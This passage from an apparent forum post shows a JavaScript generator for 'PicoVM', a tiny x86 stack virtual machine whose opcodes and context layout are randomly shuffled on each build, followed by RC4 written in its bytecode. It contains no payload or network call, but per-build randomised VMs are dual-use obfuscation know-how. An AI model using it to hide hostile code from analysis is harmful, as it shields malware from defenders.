    movzx eax, Word [edi]\n\
    shr eax, 0x6\n\
    add eax, ebp\n\
    add eax, __COMMANDS_BEGIN__\n\
    push ebp\n\
    add DWord [esp], __STEP__.return\n\
    push eax\n\
    mov edi, [ebx+PICOVM_CONTEXT._dstack_top]\n\
    mov edx, DWord [edi-0x8]\n\
    mov eax, DWord [edi-0x4]\n\
    ret\n\
    .return:\n\
    pop edx\n\
    mov eax, DWord [esp]\n\
    test eax, eax\n\
    jnz short .err\n\
    mov ebx, DWord [esp+0x14]\n\
    movzx edx, Byte [edx]\n\
    and edx, 0x7\n\
    jz short .end\n\
    mov esi, [ebx+PICOVM_CONTEXT._instruction_pointer]\n\
    add esi, edx\n\
    xor edx, edx\n\
    jmp short .end\n\
    .err:\n\
    xchg edx, eax\n\
    xchg eax, esi\n\
    stc\n\
    .end:\n\
    mov eax, esi\n\
    pop ecx\n\
    mov [ebx+PICOVM_CONTEXT._dstack_top], edi\n\
    mov [ebx+PICOVM_CONTEXT._instruction_pointer], esi\n\
    _save_eax_edx_stack_down:\n\
    jmp short _save_eax_edx_stack\n\n\
    __DSCheckInpOutp__:\n\
    pusha\n\
    xor edi, edi\n\
    mov edx, eax\n\
    shr edx, 0x8\n\
    xchg esi, eax\n\
    and esi, 0xff\n\
    call __DEPTH__\n\
    cmp eax, esi\n\
    jnl .outp\n\
    dec edi\n\
    jmp short .err\n\
    .outp:\n\
    movzx esi, Byte [ebx+PICOVM_CONTEXT._dstack_size]\n\
    sub esi, eax\n\
    cmp esi, edx\n\
    jnl .ok\n\
    dec edi\n\
    dec edi\n\
    .err:\n\
    stc\n\
    jmp short .end\n\
    .ok:\n\
    clc\n\
    .end:\n\
    xchg edi, eax\n\
    jmp _save_eax_stack\n\
    __COMMANDS_BEGIN__:\n\n\
    _calln_:\n\
    call eax\n\
    ret\n\n\
    ;_mrtd_:\n\
    ; call _crtd_\n\
    ; sub [ebx + PICOVM_CONTEXT._rstack_top], 0x4\n\
    ; ret\n\n\
    _stored_:\n\
    mov [eax], edx\n\
    _drop2:\n\
    sub edi, 0x8\n\
    ret\n\n\
    _storew_:\n\
    mov Word [eax], dx\n\
    jmp short _drop2\n\n\
    _storeb_:\n\
    mov Byte [eax], dl\n\
    jmp short _drop2\n\n\
    _jmpa_:\n\
    mov esi, eax\n\
    jmp short _drop_\n\n\
    _jmpr_:\n\
    add esi, eax\n\
    jmp short _drop_\n\n\
    _jmpc_:\n\
    test edx, edx\n\
    jnz short _jmpc_not\n\
    add esi, eax\n\
    jmp short _drop2\n\n\
    _jmpc_not:\n\
    inc esi\n\
    jmp short _drop2\n\n\
    _over_:\n\
    xchg ecx, edx\n\
    ; jmp short _save_ecx_up1\n\n\
    ;_depthr_:\n\
    ; call __DEPTH__\n\
    ; xchg edx, eax\n\
    ; jmp short _save_ecx_up1\n\n\
    ;_depthd_:\n\
    ; call __DEPTH__\n\
    ; xchg ecx, eax\n\
    _save_ecx_up1:\n\
    mov [edi], ecx\n\
    add edi, 0x4\n\
    ret\n\n\
    _loadcb_:\n\
    movzx ecx, Byte [esi+0x1]\n\
    jmp short _save_ecx_up1\n\
    _loadcw_:\n\
    movzx ecx, Word [esi+0x1]\n\
    jmp short _save_ecx_up1\n\
    _loadcd_:\n\
    mov ecx, [esi+0x1]\n\
    jmp short _save_ecx_up1\n\n\
    _dup_:\n\
    xchg ecx, eax\n\
    jmp short _save_ecx_up1\n\n\
    _drop_:\n\n\
    sub edi, 0x4\n\
    ret\n\n\
    ;_mdtr_:\n\
    ; call _cdtr_\n\
    ; jmp short _drop_\n\n\
    _calla_:\n\
    mov ecx, eax\n\
    mov edx, esi\n\
    inc edx\n\
    call __RSPUSH__\n\
    jc _err_edx\n\
    mov esi, ecx\n\
    jmp short _drop_\n\n\
    _callr_:\n\
    mov ecx, eax\n\
    mov edx, esi\n\
    inc edx\n\
    call __RSPUSH__\n\
    jc _err_edx\n\
    add esi, ecx\n\
    jmp short _drop_\n\n\
    _mod_:\n\
    mov ecx, eax\n\
    xchg eax, edx\n\
    xor edx, edx\n\
    div ecx\n\
    _save_edx_down1:\n\
    mov [edi-0x8], edx\n\
    jmp short _drop_\n\n\
    _above_:\n\
    xor ecx, ecx\n\
    cmp eax, edx\n\
    ja short _save_ecx_down1\n\
    dec ecx\n\
    _save_ecx_down1:\n\
    mov [edi-0x8], ecx\n\
    jmp short _drop_\n\n\
    _below_:\n\
    xor ecx, ecx\n\
    cmp eax, edx\n\
    jb short _save_ecx_down1\n\
    dec ecx\n\
    jmp short _save_ecx_down1\n\n\
    _add_:\n\
    add eax, edx\n\
    jmp short _save_eax_down1\n\n\
    _sub_:\n\
    sub edx, eax\n\
    jmp short _save_edx_down1\n\n\
    _mul_:\n\
    mul edx\n\
    jmp short _save_eax_down1\n\n\
    _xor_:\n\
    xor eax, edx\n\
    jmp short _save_eax_down1\n\n\
    _shr_:\n\
    xchg eax, edx\n\
    xchg ecx, edx\n\
    shr eax, cl\n\
    jmp short _save_eax_down1\n\n\
    _ror_:\n\
    xchg eax, edx\n\
    xchg ecx, edx\n\
    ror eax, cl\n\
    jmp short _save_eax_down1\n\n\
    _shl_:\n\
    xchg eax, edx\n\
    xchg ecx, edx\n\
    shl eax, cl\n\
    jmp short _save_eax_down1\n\n\
    _eq_:\n\
    xor ecx, ecx\n\
    cmp eax, edx\n\
    jnz _save_ecx_down1\n\
    dec ecx\n\
    jmp short _save_ecx_down1\n\n\
    ;_sar_:\n\
    ; xchg eax, ecx\n\
    ; sar edx, cl\n\
    ; xchg edx, eax\n\
    ; jmp short _save_eax_down1\n\n\
    _not_:\n\
    not eax\n\
    jmp short _save_eax\n\n\
    _rot_:\n\
    mov ecx, [edi-0xC]\n\
    mov [edi-0xC], edx\n\
    mov [edi-0x8], eax\n\
    _save_ecx_d:\n\
    mov [edi-0x4], ecx\n\
    ret\n\n\
    ;_sal_:\n\
    ; xchg eax, ecx\n\
    ; sal edx, cl\n\
    ; xchg edx, eax\n\
    ; jmp short _save_eax_down1\n\n\
    ;_neg_:\n\
    ; neg eax\n\
    ; jmp short _save_eax\n\n\
    _div_:\n\
    mov ecx, eax\n\
    xchg eax, edx\n\
    xor edx, edx\n\
    div ecx\n\
    _save_eax_down1:\n\
    mov [edi-0x8], eax\n\
    jmp _drop_\n\n\
    _rol_:\n\
    xchg eax, edx\n\
    xchg ecx, edx\n\
    rol eax, cl\n\
    jmp short _save_eax_down1\n\n\
    _and_:\n\
    and eax, edx\n\
    jmp short _save_eax_down1\n\n\
    _or_:\n\
    or eax, edx\n\
    jmp short _save_eax_down1\n\n\
    _swap_:\n\
    xchg eax, edx\n\
    _save_eax_edx:\n\
    mov [edi-0x8], edx\n\
    _save_eax:\n\
    xchg ecx, eax\n\
    jmp short _save_ecx\n\
    _fetchb_:\n\
    movzx eax, Byte [eax]\n\
    jmp short _save_eax\n\n\
    _fetchw_:\n\
    movzx eax, Word [eax]\n\
    jmp short _save_eax\n\
    _fetchd_:\n\
    mov eax, [eax]\n\
    jmp short _save_eax\n\n\
    ;_esb_:\n\
    ; cbw\n\
    ;_esw_:\n\
    ; cwde\n\
    ; jmp short _save_eax\n\n\
    _save_ecx:\n\
    mov [edi-0x4], ecx\n\
    ret\n\n\
    _pick_:\n\
    inc eax\n\
    inc eax\n\
    mov edx, eax\n\
    call __DSCheckInpOutp__\n\
    jc _err_\n\
    shl edx, 0x2\n\
    mov eax, edi\n\
    sub eax, edx\n\
    push DWord [eax]\n\
    pop DWord [edi-0x4]\n\
    ret\n\n\
    _roll_:\n\
    mov edx, eax\n\
    inc eax\n\
    inc eax\n\
    call __DSCheckInpOutp__\n\
    jc _err_\n\
    pusha\n\
    mov ecx, edx\n\
    xchg esi, edi\n\
    mov ebx, ecx\n\
    inc ebx\n\
    shl ebx, 0x2\n\
    sub esi, ebx\n\
    lea edi, [esi-0x4]\n\
    push DWord [edi]\n\
    cld\n\
    rep movsd\n\
    pop DWord [edi]\n\
    popa\n\
    sub edi, 0x4\n\
    ret\n\n\
    _drop_d:\n\
    sub edi, 0x4\n\
    ret\n\n\
    _ret_:\n\
    call __RSPOP__\n\
    jc _err_edx\n\
    mov esi, eax\n\
    ret\n\n\
    ;_cdtr_:\n\
    ; mov edx, eax\n\
    ; call __RSPUSH__\n\
    ; jc short _err_edx\n\
    ; ret\n\n\
    ;_crtd_:\n\
    ; mov edx, [ebx + PICOVM_CONTEXT._rstack_top]\n\
    ; mov eax, [ebx + PICOVM_CONTEXT._rstack_begin]\n\
    ; cmp edx, eax\n\
    ; jbe .err\n\
    ; mov ecx, [edx-0x4]\n\
    ; jmp _save_ecx_up1\n\
    ;.err:\n\
    ; mov eax, PICOVM_ERR_RSUNDERFLOW\n\
    ; jmp _err_\n\
    _err_edx:\n\
    xchg eax, edx\n\
    _err_:\n\
    mov [esp+0x8], eax\n\
    ret\n';
     
    var macroparams = [];
    var struc = 'struct PICOVM_CONTEXT\n';
    picovm_struc = _.shuffle(
    [['_dstack_top dd ?', 'dstop'],
    ['_dstack_begin dd ?', 'dsb'],
    ['_rstack_top dd ?', 'rstop'],
    ['_rstack_begin dd ?', 'rsb'],
    ['_instruction_pointer dd ?', 'ip'],
    ['_dstack_size db ?', 'dssz'],
    ['_rstack_size db ?', 'rssz']]);
    //picovm_struc+='';
    _.each(picovm_struc, function (a){
    struc+=a[0]+'\n';
    macroparams.push(a[1]);
    }, this);
    struc+='\nends';
    var macro = 'macro PICOVM_CTX ip, dssz, rssz, rstop, dstop, rsb, dsb { PICOVM_CONTEXT '+ macroparams.join(', ')+' }\n';
    var cmds = [
    ['fetchb', 0x1, 0x1, 0x0],
    ['fetchw', 0x1, 0x1, 0x0],
    ['fetchd', 0x1, 0x1, 0x0],
    ['storeb', 0x1, 0x2, 0x0],
    ['storew', 0x1, 0x2, 0x0],
    ['stored', 0x1, 0x2, 0x0],
    ['not', 0x1, 0x1, 0x0],
    ['or', 0x1, 0x2, 0x0],
    ['and', 0x1, 0x2, 0x0],
    ['xor', 0x1, 0x2, 0x0],
    ['loadcb', 0x2, 0x0, 0x1],
    ['loadcw', 0x3, 0x0, 0x1],
    ['loadcd', 0x5, 0x0, 0x1],
    ['rol', 0x1, 0x2, 0x0],
    ['ror', 0x1, 0x2, 0x0],
    ['shl', 0x1, 0x2, 0x0],
    ['shr', 0x1, 0x2, 0x0],
    ['eq', 0x1, 0x2, 0x0],
    ['above', 0x1, 0x2, 0x0],
    ['below', 0x1, 0x2, 0x0],
    ['drop',0x1, 0x1, 0x0],
    ['swap',0x1, 0x2, 0x0],
    ['over',0x1, 0x2, 0x0],
    ['pick',0x1, 0x2, 0x0],
    ['roll',0x1, 0x2, 0x0],
    ['add', 0x1, 0x2, 0x0],
    ['sub', 0x1, 0x2, 0x0],
    ['mul', 0x1, 0x2, 0x0],
    ['div', 0x1, 0x2, 0x0],
    ['mod', 0x1, 0x2, 0x0],
    ['rot', 0x1, 0x3, 0x0],
    ['dup', 0x1, 0x1, 0x1],
    ['jmpr', 0x0, 0x1, 0x0],
    ['jmpa', 0x0, 0x1, 0x0],
    ['jmpc', 0x0, 0x2, 0x0],
    ['calla', 0x0, 0x1, 0x0],
    ['callr', 0x0, 0x1, 0x0],
    ['calln', 0x0, 0x1, 0x0],
    ['ret', 0x0, 0x0, 0x0]];
     
    fncs=_.shuffle(fncs);
    cmds=_.shuffle(cmds);
    var vmconst = [];
    var fncs_inc = '';
    var fncs_asm = '';
    var cmds_inc = '';
    var cmds_asm = 'cmdsTable:\n';
    var i = 0;
    _.each (fncs, function(a) { fncs_inc += 'PICOVM_FNC_'+a+' = '+i+'\n'; fncs_asm += ' db __'+a+'__\n'; i++;}, this);
    i = 0;
    _.each (cmds, function(a) {
    cmds_inc += 'PICOVM_'+a[0].toUpperCase()+'_OPCODE equ '+i.toHex()+'\n';
    cmds_asm += ' PICOVM_COMMAND_ENTRY _'+a[0]+'_, '+a[1].toHex()+', '+a[2].toHex()+', '+a[3].toHex()+'\n';
    i++;}, this);
    cmds_inc += 'PICOVM_HLT_OPCODE equ 0xFF\n';
    var picovm_asm = picovm_asm_begin +'\n'+fncs_asm +'\n'+ picovm_asm_body + '\n\n'+cmds_asm;
    var picovm_inc = struc +'\n'+macro+'\n'+fncs_inc +'\n' + cmds_inc +'\n' + picovm_inc_end;
    var settings = JSON.stringify({date: null, cmds: _.pluck(cmds, 0), consts: fncs});
    fs.writeFile(process.argv[2]+'\\picovm.settings.json', settings);
    fs.writeFile(process.argv[2]+'\\picovm.asm', picovm_asm);
    fs.writeFile(process.argv[2]+'\\picovm.inc', picovm_inc);
Examples
 
For shorting source code I using next macros:
Code: [Select]
macro @ cmd, p {
  PICOVM_CMD cmd, p
}
Crypto algorithm RC4:
Code: [Select]
    ; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
    RC4:
    @ _LOADCB, 0 ;B
    @ _DUP ;A
    @ _ROT
    @ _SWAP
    .for1_up:
    @ _DUP
    @ _LOADCW, 0x100;
    @ _EQ
    @ _NOT
    @ _LOADCD, .for1_down-.tofor1_down
    .tofor1_down:
    @ _JMPC
    @ _OVER
    @ _OVER
    @ _ADD
    @ _OVER
    @ _SWAP
    @ _STOREB
    @ _LOADCB, 0x1
    @ _ADD
    @ _LOADCD, .for1_up-.tofor1_up
    .tofor1_up:
    @ _JMPR
    .for1_down:
    @ _DROP
    @ _LOADCB, 0x0
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0]
    .for2_up:
    @ _DUP
    @ _LOADCW, 0x100
    @ _EQ
    @ _NOT
    @ _LOADCD, .for2_down-.tofor2_down
    .tofor2_down:
    @ _JMPC
    @ _OVER
    @ _OVER
    @ _ADD
    @ _FETCHB
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]]
    @ _LOADCB, 0x3
    @ _PICK
    @ _ADD
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B]
    @ _OVER
    @ _LOADCB, 0x5
    @ _PICK
    @ _MOD
    @ _LOADCB, 0x7
    @ _PICK
    @ _ADD
    @ _FETCHB
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B, lpKey [A % dwKeyLen]]
    @ _ADD
    @ _LOADCB, 0xFF
    @ _AND
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B+lpKey [A % dwKeyLen]]
    @ _LOADCB, 0x3
    @ _ROLL
    @ _DROP
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
    @ _ROT
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, A, B, pS]
    @ _ROT
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
    @ _OVER
    @ _OVER
    @ _ADD
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A]
    @ _LOADCB, 0x2
    @ _PICK
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS]
    @ _LOADCB, 0x4
    @ _PICK
    @ _ADD
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS+B]
    @ _OVER
    @ _FETCHB
    @ _OVER
    @ _FETCHB
    @ _SWAP
    @ _ROT
    @ _STOREB
    @ _SWAP
    @ _STOREB
    @ _LOADCB, 0x1
    @ _ADD
    @ _LOADCD, .for2_up-.tofor2_up
    .tofor2_up:
    @ _JMPR
    .for2_down:
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
    @ _ROT
    ;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
    @ _LOADCB, 0x3
    @ _ROLL
    @ _DROP
    ;[lpBuf, lpKey, dwBufLen, pS, A, B]
    @ _LOADCB, 0x4
    @ _ROLL
    @ _DROP
    @ _SWAP
    ;[lpBuf, dwBufLen, pS, B, A]
    .for3_up:
    @ _LOADCB, 0x3
    @ _ROLL
    @ _DUP
    ;[lpBuf, pS, B, A, dwBufLen, dwBufLen]
    @ _LOADCD, .for3_down-.tofor3_down
    .tofor3_down:
    @ _JMPC
    @ _LOADCB, 0x1
    @ _SUB
    ;[lpBuf, pS, B, A, dwBufLen]
    @ _SWAP
    @ _LOADCB, 0x1
    @ _ADD
    @ _LOADCB, 0xFF
    @ _AND
    ;[lpBuf, pS, A, dwBufLen, (A+1)%255]
    @ _ROT
    ;[lpBuf, pS, dwBufLen, (A+1)%255, B]
    @ _OVER
    @ _LOADCB, 0x4
    @ _PICK
    @ _ADD
    @ _FETCHB
    @ _ADD
    @ _LOADCB, 0xFF
    @ _AND
    @ _OVER
    @ _OVER
    @ _LOADCB, 0x5
    @ _PICK
    @ _ADD
    @ _SWAP
    @ _LOADCB, 0x5
    @ _PICK
    @ _ADD
    @ _OVER
    @ _OVER
    ;
    @ _OVER
    @ _FETCHB
    @ _OVER
    @ _FETCHB
    @ _SWAP
    @ _ROT
    @ _STOREB
    @ _SWAP
    @ _STOREB
    ;
    @ _FETCHB
    @ _SWAP
    @ _FETCHB
    @ _ADD
    @ _LOADCB, 0xFF
    @ _AND
    @ _LOADCB, 0x4
    @ _PICK
    @ _ADD
    @ _FETCHB
    @ _LOADCB, 0x5
    @ _PICK
    @ _FETCHB
    @ _XOR
    @ _LOADCB, 0x5
    @ _PICK
    @ _STOREB
    @ _LOADCB, 0x4
    @ _ROLL
    @ _LOADCB, 0x1
    @ _ADD
    @ _ROT
    @ _ROT
    @ _LOADCB, 0x4
    @ _ROLL
    @ _LOADCB, 0x4
    @ _ROLL
    @ _LOADCB, 0x3
    @ _ROLL
    @ _LOADCB, 0x3
    @ _ROLL
    @ _LOADCB, 0x3
    @ _ROLL
    @ _ROT
    @ _ROT
    @ _SWAP
    @ _LOADCD, .for3_up-.tofor3_up
    .tofor3_up:
    @ _JMPR
    .for3_down:
    @ _DROP
    @ _DROP
    @ _DROP
    @ _DROP
    @ _DROP
    @ _RET

Pages: [1]